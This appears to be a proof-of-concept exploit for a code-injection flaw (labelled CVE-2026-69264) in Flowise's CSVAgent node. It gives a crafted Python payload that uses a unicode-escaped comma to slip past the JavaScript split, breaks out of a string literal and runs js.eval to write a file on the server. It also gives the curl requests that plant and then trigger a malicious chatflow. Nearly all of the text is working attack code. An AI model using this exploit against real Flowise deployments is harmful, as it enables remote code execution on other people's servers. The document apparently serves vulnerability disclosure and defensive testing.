CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE

# Craft a csvFile data URI whose third comma-separated segment is the injection.
# The segment must be comma-free (commas would be split away by CSVAgent.ts:135-137).
# \u002c is Python's unicode escape for comma, invisible to JS's split(',') but
# resolved by Python's lexer at runtime, allowing multi-arg function calls.

# Injection segment (becomes base64String after the two pop() calls):
# Closes the open string literal, runs malicious Python, comments out the trailing quote.

PYTHON_INJECTION = (
    '";\'\n'
    'import js\n'
    'await js.eval("(async () => { const fs = await import(\'fs\'); '
    'fs.writeFileSync(\'proof.txt\'\\u002c \'pwned\'); })()")\n'
    '#'
)

# Assembled csvFile data URI sent as the node\'s csvFile input:
# data:text/csv;base64,A,<PYTHON_INJECTION>,IGNORED
#
# After CSVAgent.ts splits on ',' and pops twice, base64String = PYTHON_INJECTION.
# The Python passed to pyodide.runPythonAsync becomes:
#
# base64_string = "";
# import js
# await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('proof.txt', 'pwned'); })()")
# #"
# decoded_data = base64.b64decode(base64_string)   <- runs after RCE fires

# HTTP trigger (unauthenticated once the chatflow has no apikeyid):
# Step 1 - plant the flow (requires chatflows:create):
# curl -X POST https://target/api/v1/chatflows \
#   -H 'Authorization: Bearer <api-key>' \
#   -H 'Content-Type: application/json' \
#   -d @evil-csvagent-flow.json
#
# Step 2 - trigger (no auth needed):
# curl -X POST https://target/api/v1/prediction/<flow-uuid> \
#   -H 'Content-Type: application/json' \
#   -d '{"question":"go"}'